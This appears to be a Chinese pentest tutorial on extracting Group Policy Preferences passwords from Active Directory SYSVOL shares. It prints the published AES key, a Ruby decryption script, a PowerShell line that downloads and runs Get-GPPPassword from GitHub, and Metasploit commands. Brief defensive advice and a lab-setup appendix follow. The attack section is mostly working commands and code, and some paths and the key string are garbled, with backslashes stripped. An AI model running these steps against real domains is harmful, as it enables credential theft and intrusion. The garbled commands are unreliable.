这种方法是最简单的,因为不需要特殊的“黑客”工具。所有的攻击必须做的是打开Windows资源管理器,并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.
SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。
SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:\ <DOMAIN> SYSVOL <DOMAIN> Policies
注意:C:WindowsSYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的
当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。
用于加密任何域中的所有组策略首选项密码的32字节AES密钥:
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值
通过ruby脚本进行解密:
require 'rubygems' require 'openssl' require 'base64' encrypted_data = " v0hX9w3D40aFkfgtPgcz1yWPcjp+BqICihQlATkp50g " def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah
use: ruby gpp,.rb
posershell脚本获取GPP密码:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1');Get-GPPPassword"
powershell import-modulo .Get-GPPpassword.ps1;Get-GppPassword
MSF下的GGP解密:
msf > use post/windows/gather/credentials/gpp msf >post(gpp) > sessions msf >post(gpp) > set SESSION 1 msf> post(gpp) > show options msf >post(gpp) > run
防御方法:
- 在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。
- 删除SYSVOL目录中包含密码的GPP xml文件。
- 不要把密码放在所有认证用户都有权访问的文件当中
附录:
gpp组策略搭建:
让我们看一个例子,说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始:
在域组织中的组策略对象中创建一个登录账号脚本策略:名称为:
gpp_local_login:
选择新建的组策略gpp_local_login然后编辑:
用户配置---控制面板设置---本地用户和组--新建-本地用户中添加一个脚本登录。
可以看到域控制器行创建了本地组策略的文件:
通过网络共享可以访问到GPP的组策略的文件:
\bk.comSYSVOLk.comPolicies{CE710A28-3FB8-4365-B356-41A30B5E9014}UserPreferencesGroupsgpoups.xml
打开可以看到存储的cpasword密码: